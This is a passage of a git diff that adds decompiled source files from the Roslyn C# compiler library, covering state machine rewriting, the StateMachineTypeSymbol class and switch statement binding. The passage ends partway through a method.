nonReusableLocalProxies; + } + else + { + IReadOnlyDictionary readOnlyDictionary2 = initialParameters; + readOnlyDictionary = readOnlyDictionary2; + } + IReadOnlyDictionary proxies = readOnlyDictionary; + instance.Add(GenerateStateMachineCreation(localSymbol, namedTypeSymbol, proxies)); + return F.Block(ImmutableArray.Create(localSymbol), instance.ToImmutableAndFree()); + } + + protected BoundStatement GenerateParameterStorage(LocalSymbol stateMachineVariable, IReadOnlyDictionary proxies) + { + ArrayBuilder instance = ArrayBuilder.GetInstance(); + if (!method.IsStatic && proxies.TryGetValue(method.ThisParameter, out var value)) + { + instance.Add((BoundStatement)F.Assignment(value.Replacement(F.Syntax, (NamedTypeSymbol frameType1) => F.Local(stateMachineVariable)), F.This())); + } + ImmutableArray.Enumerator enumerator = method.Parameters.GetEnumerator(); + while (enumerator.MoveNext()) + { + ParameterSymbol current = enumerator.Current; + if (proxies.TryGetValue(current, out var value2)) + { + instance.Add((BoundStatement)F.Assignment(value2.Replacement(F.Syntax, (NamedTypeSymbol frameType1) => F.Local(stateMachineVariable)), F.Parameter(current))); + } + } + ImmutableArray statements = instance.ToImmutableAndFree(); + return F.Block(statements); + } + + protected SynthesizedImplementationMethod OpenMethodImplementation(MethodSymbol methodToImplement, string methodName = null, bool hasMethodBodyDependency = false) + { + SynthesizedStateMachineDebuggerHiddenMethod synthesizedStateMachineDebuggerHiddenMethod = new SynthesizedStateMachineDebuggerHiddenMethod(methodName, methodToImplement, (StateMachineTypeSymbol)F.CurrentType, null, hasMethodBodyDependency); + ((PEModuleBuilder)F.ModuleBuilderOpt).AddSynthesizedDefinition(F.CurrentType, (IMethodDefinition)(object)synthesizedStateMachineDebuggerHiddenMethod.GetCciAdapter()); + F.CurrentFunction = synthesizedStateMachineDebuggerHiddenMethod; + return synthesizedStateMachineDebuggerHiddenMethod; + } + + protected MethodSymbol OpenPropertyImplementation(MethodSymbol getterToImplement) + { + SynthesizedStateMachineProperty synthesizedStateMachineProperty = new SynthesizedStateMachineProperty(getterToImplement, (StateMachineTypeSymbol)F.CurrentType); + ((PEModuleBuilder)F.ModuleBuilderOpt).AddSynthesizedDefinition(F.CurrentType, (IPropertyDefinition)(object)synthesizedStateMachineProperty.GetCciAdapter()); + MethodSymbol getMethod = synthesizedStateMachineProperty.GetMethod; + ((PEModuleBuilder)F.ModuleBuilderOpt).AddSynthesizedDefinition(F.CurrentType, (IMethodDefinition)(object)getMethod.GetCciAdapter()); + F.CurrentFunction = getMethod; + return getMethod; + } + + protected SynthesizedImplementationMethod OpenMoveNextMethodImplementation(MethodSymbol methodToImplement) + { + SynthesizedStateMachineMoveNextMethod synthesizedStateMachineMoveNextMethod = new SynthesizedStateMachineMoveNextMethod(methodToImplement, (StateMachineTypeSymbol)F.CurrentType); + ((PEModuleBuilder)F.ModuleBuilderOpt).AddSynthesizedDefinition(F.CurrentType, (IMethodDefinition)(object)synthesizedStateMachineMoveNextMethod.GetCciAdapter()); + F.CurrentFunction = synthesizedStateMachineMoveNextMethod; + return synthesizedStateMachineMoveNextMethod; + } + + protected BoundExpression MakeCurrentThreadId() + { + PropertySymbol propertySymbol = (PropertySymbol)F.WellKnownMember((WellKnownMember)305, isOptional: true); + if ((object)propertySymbol != null) + { + MethodSymbol getMethod = propertySymbol.GetMethod; + if ((object)getMethod != null) + { + return F.Call(null, getMethod); + } + } + return F.Property(F.Property((WellKnownMember)145), (WellKnownMember)146); + } + + protected SynthesizedImplementationMethod GenerateIteratorGetEnumerator(MethodSymbol getEnumeratorMethod, ref BoundExpression managedThreadId, StateMachineState initialState) + { + //IL_0070: Unknown result type (might be due to invalid IL or missing references) + //IL_00b3: Unknown result type (might be due to invalid IL or missing references) + SynthesizedImplementationMethod result = OpenMethodImplementation(getEnumeratorMethod); + ArrayBuilder instance = ArrayBuilder.GetInstance(); + LocalSymbol resultVariable = F.SynthesizedLocal(stateMachineType, null, isPinned: false, isKnownToReferToTempIfReferenceType: false, (RefKind)0, (SynthesizedLocalKind)(-2)); + BoundStatement boundStatement = F.Assignment(F.Local(resultVariable), F.New(stateMachineType.Constructor, F.Literal(initialState))); + GeneratedLabelSymbol label = F.GenerateLabel("thisInitialized"); + if ((object)initialThreadIdField != null) + { + managedThreadId = MakeCurrentThreadId(); + ArrayBuilder instance2 = ArrayBuilder.GetInstance(4); + GenerateResetInstance(instance2, initialState); + instance2.Add((BoundStatement)F.Assignment(F.Local(resultVariable), F.This())); + if (method.IsStatic || method.ThisParameter.Type.IsReferenceType) + { + instance2.Add((BoundStatement)F.Goto(label)); + } + boundStatement = F.If(F.LogicalAnd(F.IntEqual(F.Field(F.This(), stateField), F.Literal((StateMachineState)(-2))), F.IntEqual(F.Field(F.This(), initialThreadIdField), managedThreadId)), F.Block(instance2.ToImmutableAndFree()), boundStatement); + } + instance.Add(boundStatement); + Dictionary dictionary = initialParameters; + IReadOnlyDictionary readOnlyDictionary = nonReusableLocalProxies; + if (!method.IsStatic && readOnlyDictionary.TryGetValue(method.ThisParameter, out var value)) + { + instance.Add((BoundStatement)F.Assignment(value.Replacement(F.Syntax, (NamedTypeSymbol stateMachineType) => F.Local(resultVariable)), dictionary[method.ThisParameter].Replacement(F.Syntax, (NamedTypeSymbol stateMachineType) => F.This()))); + } + instance.Add((BoundStatement)F.Label(label)); + ImmutableArray.Enumerator enumerator = method.Parameters.GetEnumerator(); + while (enumerator.MoveNext()) + { + ParameterSymbol current = enumerator.Current; + if (readOnlyDictionary.TryGetValue(current, out var value2)) + { + BoundExpression resultParameter = value2.Replacement(F.Syntax, (NamedTypeSymbol stateMachineType) => F.Local(resultVariable)); + BoundExpression parameterProxy = dictionary[current].Replacement(F.Syntax, (NamedTypeSymbol stateMachineType) => F.This()); + BoundStatement boundStatement2 = InitializeParameterField(getEnumeratorMethod, current, resultParameter, parameterProxy); + instance.Add(boundStatement2); + } + } + instance.Add((BoundStatement)F.Return(F.Local(resultVariable))); + F.CloseMethod(F.Block(ImmutableArray.Create(resultVariable), instance.ToImmutableAndFree())); + return result; + } + + protected virtual void GenerateResetInstance(ArrayBuilder builder, StateMachineState initialState) + { + //IL_0029: Unknown result type (might be due to invalid IL or missing references) + builder.Add((BoundStatement)F.Assignment(F.Field(F.This(), stateField), F.Literal(initialState))); + } + + protected virtual BoundStatement InitializeParameterField(MethodSymbol getEnumeratorMethod, ParameterSymbol parameter, BoundExpression resultParameter, BoundExpression parameterProxy) + { + return F.Assignment(resultParameter, parameterProxy); + } + + protected bool CanGetThreadId() + { + if ((object)F.WellKnownMember((WellKnownMember)146, isOptional: true) == null) + { + return (object)F.WellKnownMember((WellKnownMember)305, isOptional: true) != null; + } + return true; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/StateMachineTypeSymbol.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/StateMachineTypeSymbol.cs new file mode 100644 index 0000000..04cb301 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/StateMachineTypeSymbol.cs @@ -0,0 +1,62 @@ +using System.Collections.Immutable; +using Microsoft.CodeAnalysis.CSharp.Symbols; +using Microsoft.CodeAnalysis.CodeGen; +using Microsoft.CodeAnalysis.Emit; +using Microsoft.CodeAnalysis.PooledObjects; +using Microsoft.CodeAnalysis.Symbols; + +namespace Microsoft.CodeAnalysis.CSharp; + +internal abstract class StateMachineTypeSymbol : SynthesizedContainer, ISynthesizedMethodBodyImplementationSymbol, ISymbolInternal +{ + private ImmutableArray _attributes; + + public readonly MethodSymbol KickoffMethod; + + public override Symbol ContainingSymbol => KickoffMethod.ContainingType; + + bool ISynthesizedMethodBodyImplementationSymbol.HasMethodBodyDependency => true; + + IMethodSymbolInternal ISynthesizedMethodBodyImplementationSymbol.Method => (IMethodSymbolInternal)(object)KickoffMethod; + + public sealed override bool AreLocalsZeroed => KickoffMethod.AreLocalsZeroed; + + internal override bool HasCodeAnalysisEmbeddedAttribute => false; + + public StateMachineTypeSymbol(VariableSlotAllocator slotAllocatorOpt, TypeCompilationState compilationState, MethodSymbol kickoffMethod, int kickoffMethodOrdinal) + : base(MakeName(slotAllocatorOpt, compilationState, kickoffMethod, kickoffMethodOrdinal), kickoffMethod) + { + KickoffMethod = kickoffMethod; + } + + private static string MakeName(VariableSlotAllocator slotAllocatorOpt, TypeCompilationState compilationState, MethodSymbol kickoffMethod, int kickoffMethodOrdinal) + { + return ((slotAllocatorOpt != null) ? slotAllocatorOpt.PreviousStateMachineTypeName : null) ?? GeneratedNames.MakeStateMachineTypeName(kickoffMethod.Name, kickoffMethodOrdinal, ((CommonPEModuleBuilder)compilationState.ModuleBuilderOpt).CurrentGenerationOrdinal); + } + + public sealed override ImmutableArray GetAttributes() + { + //IL_003b: Unknown result type (might be due to invalid IL or missing references) + //IL_004a: Unknown result type (might be due to invalid IL or missing references) + if (_attributes.IsDefault) + { + ArrayBuilder val = null; + NamedTypeSymbol containingType = KickoffMethod.ContainingType; + ImmutableArray.Enumerator enumerator = containingType.GetAttributes().GetEnumerator(); + while (enumerator.MoveNext()) + { + CSharpAttributeData current = enumerator.Current; + if (current.IsTargetAttribute(containingType, AttributeDescription.DebuggerNonUserCodeAttribute) || current.IsTargetAttribute(containingType, AttributeDescription.DebuggerStepThroughAttribute)) + { + if (val == null) + { + val = ArrayBuilder.GetInstance(2); + } + val.Add(current); + } + } + ImmutableInterlocked.InterlockedCompareExchange(ref _attributes, val?.ToImmutableAndFree() ?? ImmutableArray.Empty, default(ImmutableArray)); + } + return _attributes; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/SwitchBinder.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/SwitchBinder.cs new file mode 100644 index 0000000..c502691 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/SwitchBinder.cs @@ -0,0 +1,628 @@ +using System; +using System.Collections.Generic; +using System.Collections.Immutable; +using System.Threading; +using Microsoft.CodeAnalysis.CSharp.Symbols; +using Microsoft.CodeAnalysis.CSharp.Syntax; +using Microsoft.CodeAnalysis.PooledObjects; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp; + +internal class SwitchBinder : LocalScopeBinder +{ + protected readonly SwitchStatementSyntax SwitchSyntax; + + private readonly GeneratedLabelSymbol _breakLabel; + + private BoundExpression _switchGoverningExpression; + + private ImmutableArray _switchGoverningDiagnostics; + + private ImmutableArray _switchGoverningDependencies; + + private Dictionary _lazySwitchLabelsMap; + + private static readonly object s_defaultKey = new object(); + + private static readonly object s_nullKey = new object(); + + private Dictionary _labelsByNode; + + protected bool PatternsEnabled => ((CSharpParseOptions)(object)SwitchSyntax.SyntaxTree.Options)?.IsFeatureEnabled(MessageID.IDS_FeaturePatternMatching) ?? true; + + protected BoundExpression SwitchGoverningExpression + { + get + { + EnsureSwitchGoverningExpressionAndDiagnosticsBound(); + return _switchGoverningExpression; + } + } + + protected TypeSymbol SwitchGoverningType => SwitchGoverningExpression.Type; + + protected ImmutableBindingDiagnostic SwitchGoverningDiagnostics + { + get + { + //IL_0012: Unknown result type (might be due to invalid IL or missing references) + EnsureSwitchGoverningExpressionAndDiagnosticsBound(); + return new ImmutableBindingDiagnostic(_switchGoverningDiagnostics, _switchGoverningDependencies); + } + } + + private Dictionary LabelsByValue + { + get + { + if (_lazySwitchLabelsMap == null && Labels.Length > 0) + { + _lazySwitchLabelsMap = BuildLabelsByValue(Labels); + } + return _lazySwitchLabelsMap; + } + } + + internal override bool IsLocalFunctionsScopeBinder => true; + + internal override GeneratedLabelSymbol BreakLabel => _breakLabel; + + internal override bool IsLabelsScopeBinder => true; + + internal override SyntaxNode ScopeDesignator => (SyntaxNode)(object)SwitchSyntax; + + protected Dictionary LabelsByNode + { + get + { + //IL_002d: Unknown result type (might be due to invalid IL or missing references) + //IL_0032: Unknown result type (might be due to invalid IL or missing references) + if (_labelsByNode == null) + { + Dictionary dictionary = new Dictionary(); + ImmutableArray.Enumerator enumerator = Labels.GetEnumerator(); + while (enumerator.MoveNext()) + { + LabelSymbol current = enumerator.Current; + SyntaxNodeOrToken identifierNodeOrToken = ((SourceLabelSymbol)current).IdentifierNodeOrToken; + SyntaxNode val = ((SyntaxNodeOrToken)(ref identifierNodeOrToken)).AsNode(); + if (val != null) + { + dictionary.Add(val, current); + } + } + _labelsByNode = dictionary; + } + return _labelsByNode; + } + } + + private SwitchBinder(Binder next, SwitchStatementSyntax switchSyntax) + : base(next) + { + SwitchSyntax = switchSyntax; + _breakLabel = new GeneratedLabelSymbol("break"); + } + + private void EnsureSwitchGoverningExpressionAndDiagnosticsBound() + { + //IL_0017: Unknown result type (might be due to invalid IL or missing references) + //IL_001c: Unknown result type (might be due to invalid IL or missing references) + if (_switchGoverningExpression == null) + { + BindingDiagnosticBag instance = BindingDiagnosticBag.GetInstance(); + BoundExpression value = BindSwitchGoverningExpression(instance); + ImmutableBindingDiagnostic val = ((BindingDiagnosticBag)(object)instance).ToReadOnlyAndFree(); + ImmutableInterlocked.InterlockedInitialize(ref _switchGoverningDiagnostics, val.Diagnostics); + ImmutableInterlocked.InterlockedInitialize(ref _switchGoverningDependencies, val.Dependencies); + Interlocked.CompareExchange(ref _switchGoverningExpression, value, null); + } + } + + private static Dictionary BuildLabelsByValue(ImmutableArray labels) + { + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + //IL_0011: Expected O, but got Unknown + //IL_002a: Unknown result type (might be due to invalid IL or missing references) + //IL_006f: Unknown result type (might be due to invalid IL or missing references) + //IL_0074: Unknown result type (might be due to invalid IL or missing references) + Dictionary dictionary = new Dictionary(labels.Length, (IEqualityComparer?)new SwitchLabelsComparer()); + ImmutableArray.Enumerator enumerator = labels.GetEnumerator(); + while (enumerator.MoveNext()) + { + SourceLabelSymbol sourceLabelSymbol = (SourceLabelSymbol)enumerator.Current; + SyntaxKind syntaxKind = sourceLabelSymbol.IdentifierNodeOrToken.Kind(); + if (syntaxKind != SyntaxKind.IdentifierToken) + { + ConstantValue switchCaseLabelConstant = sourceLabelSymbol.SwitchCaseLabelConstant; + object key; + if (switchCaseLabelConstant != null && !switchCaseLabelConstant.IsBad) + { + key = KeyForConstant(switchCaseLabelConstant); + } + else if (syntaxKind == SyntaxKind.DefaultSwitchLabel) + { + key = s_defaultKey; + } + else + { + SyntaxNodeOrToken identifierNodeOrToken = sourceLabelSymbol.IdentifierNodeOrToken; + key = ((SyntaxNodeOrToken)(ref identifierNodeOrToken)).AsNode(); + } + if (!dictionary.ContainsKey(key)) + { + dictionary.Add(key, sourceLabelSymbol); + } + } + } + return dictionary; + } + + protected override ImmutableArray BuildLocals() + { + //IL_000c: Unknown result type (might be due to invalid IL or missing references) + //IL_0011: Unknown result type (might be due to invalid IL or missing references) + //IL_0014: Unknown result type (might be due to invalid IL or missing references) + //IL_0019: Unknown result type (might be due to invalid IL or missing references) + //IL_0027: Unknown result type (might be due to invalid IL or missing references) + ArrayBuilder instance = ArrayBuilder.GetInstance(); + Enumerator enumerator = SwitchSyntax.Sections.GetEnumerator(); + while (enumerator.MoveNext()) + { + SwitchSectionSyntax current = enumerator.Current; + instance.AddRange(BuildLocals(current.Statements, GetBinder((SyntaxNode)(object)current))); + } + return instance.ToImmutableAndFree(); + } + + protected override ImmutableArray BuildLocalFunctions() + { + //IL_000c: Unknown result type (might be due to invalid IL or missing references) + //IL_0011: Unknown result type (might be due to invalid IL or missing references) + //IL_0014: Unknown result type (might be due to invalid IL or missing references) + //IL_0019: Unknown result type (might be due to invalid IL or missing references) + //IL_0027: Unknown result type (might be due to invalid IL or missing references) + ArrayBuilder instance = ArrayBuilder.GetInstance(); + Enumerator enumerator = SwitchSyntax.Sections.GetEnumerator(); + while (enumerator.MoveNext()) + { + SwitchSectionSyntax current = enumerator.Current; + instance.AddRange(BuildLocalFunctions(current.Statements)); + } + return instance.ToImmutableAndFree(); + } + + protected override ImmutableArray BuildLabels() + { + //IL_000c: Unknown result type (might be due to invalid IL or missing references) + //IL_0011: Unknown result type (might be due to invalid IL or missing references) + //IL_0014: Unknown result type (might be due to invalid IL or missing references) + //IL_0019: Unknown result type (might be due to invalid IL or missing references) + //IL_0026: Unknown result type (might be due to invalid IL or missing references) + //IL_003f: Unknown result type (might be due to invalid IL or missing references) + ArrayBuilder labels = ArrayBuilder.GetInstance(); + Enumerator enumerator = SwitchSyntax.Sections.GetEnumerator(); + while (enumerator.MoveNext()) + { + SwitchSectionSyntax current = enumerator.Current; + BuildSwitchLabels(current.Labels, GetBinder((SyntaxNode)(object)current), labels, BindingDiagnosticBag.Discarded); + BuildLabels(current.Statements, ref labels); + } + return labels.ToImmutableAndFree(); + } + + private void BuildSwitchLabels(SyntaxList labelsSyntax, Binder sectionBinder, ArrayBuilder labels, BindingDiagnosticBag tempDiagnosticBag) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + //IL_0097: Unknown result type (might be due to invalid IL or missing references) + Enumerator enumerator = labelsSyntax.GetEnumerator(); + while (enumerator.MoveNext()) + { + SwitchLabelSyntax current = enumerator.Current; + ConstantValue constantValueOpt = null; + switch (current.Kind()) + { + case SyntaxKind.CaseSwitchLabel: + { + CaseSwitchLabelSyntax caseSwitchLabelSyntax = (CaseSwitchLabelSyntax)current; + BoundExpression boundExpression = sectionBinder.BindTypeOrRValue(caseSwitchLabelSyntax.Value, tempDiagnosticBag); + if (!(boundExpression is BoundTypeExpression)) + { + ConvertCaseExpression(current, boundExpression, out constantValueOpt, tempDiagnosticBag); + } + break; + } + case SyntaxKind.CasePatternSwitchLabel: + { + CasePatternSwitchLabelSyntax casePatternSwitchLabelSyntax = (CasePatternSwitchLabelSyntax)current; + sectionBinder.BindPattern(casePatternSwitchLabelSyntax.Pattern, SwitchGoverningType, permitDesignations: true, ((SyntaxNode)current).HasErrors, tempDiagnosticBag); + break; + } + } + labels.Add((LabelSymbol)new SourceLabelSymbol((MethodSymbol)ContainingMemberOrLambda, SyntaxNodeOrToken.op_Implicit((SyntaxNode)(object)current), constantValueOpt)); + } + } + + protected BoundExpression ConvertCaseExpression(CSharpSyntaxNode node, BoundExpression caseExpression, out ConstantValue constantValueOpt, BindingDiagnosticBag diagnostics, bool isGotoCaseExpr = false) + { + //IL_000c: Unknown result type (might be due to invalid IL or missing references) + //IL_0011: Unknown result type (might be due to invalid IL or missing references) + //IL_0031: Unknown result type (might be due to invalid IL or missing references) + bool hasErrors = false; + if (isGotoCaseExpr) + { + CompoundUseSiteInfo useSiteInfo = GetNewCompoundUseSiteInfo(diagnostics); + Conversion conversion = base.Conversions.ClassifyConversionFromExpression(caseExpression, SwitchGoverningType, base.CheckOverflowAtRuntime, ref useSiteInfo); + ((BindingDiagnosticBag)(object)diagnostics).Add((SyntaxNode)(object)node, useSiteInfo); + if (!conversion.IsValid) + { + GenerateImplicitConversionError(diagnostics, (SyntaxNode)(object)node, conversion, caseExpression, SwitchGoverningType); + hasErrors = true; + } + else if (!conversion.IsImplicit) + { + diagnostics.Add(ErrorCode.WRN_GotoCaseShouldConvert, ((SyntaxNode)node).Location, SwitchGoverningType); + hasErrors = true; + } + caseExpression = CreateConversion(caseExpression, conversion, SwitchGoverningType, diagnostics); + } + Conversion patternExpressionConversion; + return ConvertPatternExpression(SwitchGoverningType, node, caseExpression, out constantValueOpt, hasErrors, diagnostics, out patternExpressionConversion); + } + + protected static object KeyForConstant(ConstantValue constantValue) + { + if (!constantValue.IsNull) + { + return constantValue.Value; + } + return s_nullKey; + } + + protected SourceLabelSymbol FindMatchingSwitchCaseLabel(ConstantValue constantValue, CSharpSyntaxNode labelSyntax) + { + object key = ((constantValue == null || constantValue.IsBad) ? labelSyntax : KeyForConstant(constantValue)); + return FindMatchingSwitchLabel(key); + } + + private SourceLabelSymbol GetDefaultLabel() + { + return FindMatchingSwitchLabel(s_defaultKey); + } + + private SourceLabelSymbol FindMatchingSwitchLabel(object key) + { + Dictionary labelsByValue = LabelsByValue; + if (labelsByValue != null && labelsByValue.TryGetValue(key, out var value)) + { + return value; + } + return null; + } + + internal override ImmutableArray GetDeclaredLocalsForScope(SyntaxNode scopeDesignator) + { + if ((object)SwitchSyntax == scopeDesignator) + { + return Locals; + } + throw ExceptionUtilities.Unreachable("/_/src/Compilers/CSharp/Portable/Binder/SwitchBinder.cs", 335); + } + + internal override ImmutableArray GetDeclaredLocalFunctionsForScope(CSharpSyntaxNode scopeDesignator) + { + if (SwitchSyntax == scopeDesignator) + { + return LocalFunctions; + } + throw ExceptionUtilities.Unreachable("/_/src/Compilers/CSharp/Portable/Binder/SwitchBinder.cs", 345); + } + + private BoundExpression BindSwitchGoverningExpression(BindingDiagnosticBag diagnostics) + { + //IL_005a: Unknown result type (might be due to invalid IL or missing references) + //IL_005f: Unknown result type (might be due to invalid IL or missing references) + //IL_0075: Unknown result type (might be due to invalid IL or missing references) + //IL_0040: Unknown result type (might be due to invalid IL or missing references) + //IL_0046: Invalid comparison between Unknown and I4 + ExpressionSyntax expression = SwitchSyntax.Expression; + Binder binder = GetBinder((SyntaxNode)(object)expression); + BoundExpression boundExpression = binder.BindRValueWithoutTargetType(expression, diagnostics); + TypeSymbol typeSymbol = boundExpression.Type; + if ((object)typeSymbol != null && !typeSymbol.IsErrorType()) + { + if (typeSymbol.IsValidV6SwitchGoverningType()) + { + if ((int)typeSymbol.SpecialType == 7) + { + Binder.CheckFeatureAvailability((SyntaxNode)(object)expression, MessageID.IDS_FeatureSwitchOnBool, diagnostics); + } + return boundExpression; + } + CompoundUseSiteInfo useSiteInfo = GetNewCompoundUseSiteInfo(diagnostics); + TypeSymbol switchGoverningType; + Conversion conversion = binder.Conversions.ClassifyImplicitUserDefinedConversionForV6SwitchGoverningType(typeSymbol, out switchGoverningType, ref useSiteInfo); + ((BindingDiagnosticBag)(object)diagnostics).Add((SyntaxNode)(object)expression, useSiteInfo); + if (conversion.IsValid) + { + return binder.CreateConversion((SyntaxNode)(object)expression, boundExpression, conversion, isCast: false, null, switchGoverningType, diagnostics); + } + if (!typeSymbol.IsVoidType()) + { + if (!PatternsEnabled) + { + diagnostics.Add(ErrorCode.ERR_V6SwitchGoverningTypeValueExpected, ((SyntaxNode)expression).Location); + } + return boundExpression; + } + typeSymbol = CreateErrorType(typeSymbol.Name); + } + if (!boundExpression.HasAnyErrors) + { + diagnostics.Add(ErrorCode.ERR_SwitchExpressionValueExpected, ((SyntaxNode)expression).Location, boundExpression.Display); + } + return new BoundBadExpression((SyntaxNode)(object)expression, LookupResultKind.Empty, ImmutableArray.Empty, ImmutableArray.Create(boundExpression), typeSymbol ?? CreateErrorType()); + } + + internal BoundStatement BindGotoCaseOrDefault(GotoStatementSyntax node, Binder gotoBinder, BindingDiagnosticBag diagnostics) + { + //IL_0082: Unknown result type (might be due to invalid IL or missing references) + BoundExpression boundExpression = null; + if (!((SyntaxNode)node).HasErrors) + { + ConstantValue constantValueOpt = null; + bool flag = false; + SourceLabelSymbol sourceLabelSymbol; + if (node.Expression != null) + { + boundExpression = gotoBinder.BindValue(node.Expression, diagnostics, BindValueKind.RValue); + boundExpression = ConvertCaseExpression(node, boundExpression, out constantValueOpt, diagnostics, isGotoCaseExpr: true); + flag = flag || boundExpression.HasAnyErrors; + if (!flag && constantValueOpt == (ConstantValue)null) + { + diagnostics.Add(ErrorCode.ERR_ConstantExpected, ((SyntaxNode)node).Location); + flag = true; + } + ConstantValueUtils.CheckLangVersionForConstantValue(boundExpression, diagnostics); + sourceLabelSymbol = FindMatchingSwitchCaseLabel(constantValueOpt, node); + } + else + { + sourceLabelSymbol = GetDefaultLabel(); + } + if ((object)sourceLabelSymbol != null) + { + return new BoundGotoStatement((SyntaxNode)(object)node, sourceLabelSymbol, boundExpression, null, flag); + } + if (!flag) + { + string text = SyntaxFacts.GetText(node.CaseOrDefaultKeyword.Kind()); + if (node.Kind() == SyntaxKind.GotoCaseStatement) + { + text = text + " " + constantValueOpt.Value; + } + text += ":"; + diagnostics.Add(ErrorCode.ERR_LabelNotFound, ((SyntaxNode)node).Location, text); + flag = true; + } + } + return new BoundBadStatement((SyntaxNode)(object)node, (boundExpression != null) ? ImmutableArray.Create((BoundNode)boundExpression) : ImmutableArray.Empty, hasErrors: true); + } + + internal static SwitchBinder Create(Binder next, SwitchStatementSyntax switchSyntax) + { + return new SwitchBinder(next, switchSyntax); + } + + internal override BoundStatement BindSwitchStatementCore(SwitchStatementSyntax node, Binder originalBinder, BindingDiagnosticBag diagnostics) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0006: Unknown result type (might be due to invalid IL or missing references) + //IL_0035: Unknown result type (might be due to invalid IL or missing references) + //IL_0018: Unknown result type (might be due to invalid IL or missing references) + //IL_001d: Unknown result type (might be due to invalid IL or missing references) + if (node.Sections.Count == 0) + { + SyntaxToken openBraceToken = node.OpenBraceToken; + diagnostics.Add(ErrorCode.WRN_EmptySwitch, ((SyntaxToken)(ref openBraceToken)).GetLocation()); + } + BoundExpression switchGoverningExpression = SwitchGoverningExpression; + ((BindingDiagnosticBag)(object)diagnostics).AddRange(SwitchGoverningDiagnostics, true); + BoundSwitchLabel defaultLabel; + ImmutableArray switchSections = BindSwitchSections(originalBinder, diagnostics, out defaultLabel); + ImmutableArray declaredLocalsForScope = GetDeclaredLocalsForScope((SyntaxNode)(object)node); + ImmutableArray declaredLocalFunctionsForScope = GetDeclaredLocalFunctionsForScope(node); + BoundDecisionDag boundDecisionDag = DecisionDagBuilder.CreateDecisionDagForSwitchStatement(base.Compilation, (SyntaxNode)(object)node, switchGoverningExpression, switchSections, defaultLabel?.Label ?? BreakLabel, diagnostics); + CheckSwitchErrors(ref switchSections, boundDecisionDag, diagnostics); + boundDecisionDag = boundDecisionDag.SimplifyDecisionDagIfConstantInput(switchGoverningExpression); + ImmutableArray switchSections2 = switchSections; + BoundSwitchLabel defaultLabel2 = defaultLabel; + GeneratedLabelSymbol breakLabel = BreakLabel; + return new BoundSwitchStatement((SyntaxNode)(object)node, switchGoverningExpression, declaredLocalsForScope, declaredLocalFunctionsForScope, switchSections2, boundDecisionDag, defaultLabel2, breakLabel); + } + + private void CheckSwitchErrors(ref ImmutableArray switchSections, BoundDecisionDag decisionDag, BindingDiagnosticBag diagnostics) + { + ImmutableHashSet reachableLabels = decisionDag.ReachableLabels; + if (!ImmutableArrayExtensions.Any>(switchSections, (Func, bool>)((BoundSwitchSection s, ImmutableHashSet immutableHashSet) => ImmutableArrayExtensions.Any>(s.SwitchLabels, (Func, bool>)isSubsumed, immutableHashSet)), reachableLabels)) + { + return; + } + ArrayBuilder instance = ArrayBuilder.GetInstance(switchSections.Length); + bool flag = false; + ImmutableArray.Enumerator enumerator = switchSections.GetEnumerator(); + while (enumerator.MoveNext()) + { + BoundSwitchSection current = enumerator.Current; + ArrayBuilder instance2 = ArrayBuilder.GetInstance(current.SwitchLabels.Length); + ImmutableArray.Enumerator enumerator2 = current.SwitchLabels.GetEnumerator(); + while (enumerator2.MoveNext()) + { + BoundSwitchLabel current2 = enumerator2.Current; + BoundSwitchLabel boundSwitchLabel = current2; + if (!current2.HasErrors && isSubsumed(current2, reachableLabels) && current2.Syntax.Kind() != SyntaxKind.DefaultSwitchLabel) + { + SyntaxNode syntax = current2.Syntax; + if (!(syntax is CasePatternSwitchLabelSyntax casePatternSwitchLabelSyntax)) + { + if (!(syntax is CaseSwitchLabelSyntax caseSwitchLabelSyntax)) + { + throw ExceptionUtilities.UnexpectedValue((object)syntax.Kind()); + } + if (current2.Pattern is BoundConstantPattern boundConstantPattern && !boundConstantPattern.ConstantValue.IsBad && FindMatchingSwitchCaseLabel(boundConstantPattern.ConstantValue, caseSwitchLabelSyntax) != current2.Label) + { + diagnostics.Add(ErrorCode.ERR_DuplicateCaseLabel, syntax.Location, boundConstantPattern.ConstantValue.GetValueToDisplay()); + } + else if (!current2.Pattern.HasErrors && !flag) + { + diagnostics.Add(ErrorCode.ERR_SwitchCaseSubsumed, ((SyntaxNode)caseSwitchLabelSyntax.Value).Location); + } + } + else if (!((SyntaxNode)casePatternSwitchLabelSyntax.Pattern).HasErrors && !flag) + { + diagnostics.Add(ErrorCode.ERR_SwitchCaseSubsumed, ((SyntaxNode)casePatternSwitchLabelSyntax.Pattern).Location); + } + boundSwitchLabel = new BoundSwitchLabel(current2.Syntax, current2.Label, current2.Pattern, current2.WhenClause, hasErrors: true); + } + flag |= current2.HasErrors; + instance2.Add(boundSwitchLabel); + } + instance.Add(current.Update(current.Locals, instance2.ToImmutableAndFree(), current.Statements)); + } + switchSections = instance.ToImmutableAndFree(); + static bool isSubsumed(BoundSwitchLabel switchLabel, ImmutableHashSet immutableHashSet) + { + return !immutableHashSet.Contains(switchLabel.Label); + } + } + + internal override void BindPatternSwitchLabelForInference(CasePatternSwitchLabelSyntax node, BindingDiagnosticBag diagnostics) + { + BoundSwitchLabel defaultLabel = null; + BindSwitchSectionLabel(GetBinder((SyntaxNode)(object)node.Parent), node, LabelsByNode[(SyntaxNode)(object)node], ref defaultLabel, diagnostics); + } + + private ImmutableArray BindSwitchSections(Binder originalBinder, BindingDiagnosticBag diagnostics, out BoundSwitchLabel defaultLabel) + { + //IL_0006: Unknown result type (might be due to invalid IL or missing references) + //IL_000b: Unknown result type (might be due to invalid IL or missing references) + //IL_0022: Unknown result type (might be due to invalid IL or missing references) + //IL_0027: Unknown result type (might be due to invalid IL or missing references) + //IL_002a: Unknown result type (might be due to invalid IL or missing references) + //IL_002f: Unknown result type (might be 